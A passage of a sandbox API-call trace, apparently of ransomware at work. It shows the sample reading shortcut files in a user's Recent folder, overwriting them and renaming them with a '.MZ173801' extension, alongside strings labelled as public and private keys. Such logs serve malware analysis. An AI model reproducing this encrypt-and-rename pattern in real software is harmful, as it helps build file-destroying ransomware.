lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.981] GetCurrentThreadId () returned 0xab4 [0150.981] GetCurrentThreadId () returned 0xab4 [0150.982] GetCurrentThreadId () returned 0xab4 [0150.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.982] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.982] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.982] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x333 [0150.982] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.982] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x333, lpOverlapped=0x0) returned 1 [0150.984] CloseHandle (hObject=0x280) returned 1 [0150.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.985] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x333, lpOverlapped=0x0) returned 1 [0150.986] CloseHandle (hObject=0x280) returned 1 [0150.991] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeJFddiIwMX1RoB4tjS.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oejfddiiwmx1rob4tjs.lnk.mz173801")) returned 1 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] GetCurrentThreadId () returned 0xab4 [0150.993] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf40c30fd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf40c30fd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf40c30fd, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x592, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oj2PlKbc7rCn.lnk", cAlternateFileName="OJ2PLK~1.LNK")) returned 1 [0150.993] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.994] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf40c30fd, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf40c30fd, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf40c30fd, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x592)) returned 1 [0150.994] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk")) returned 0x20 [0150.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk", dwFileAttributes=0x80) returned 1 [0150.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.997] GetCurrentThreadId () returned 0xab4 [0150.997] GetCurrentThreadId () returned 0xab4 [0150.997] GetCurrentThreadId () returned 0xab4 [0150.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.998] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.998] GetCurrentThreadId () returned 0xab4 [0150.998] GetCurrentThreadId () returned 0xab4 [0150.998] GetCurrentThreadId () returned 0xab4 [0150.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.998] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.998] SetFilePointer (in: 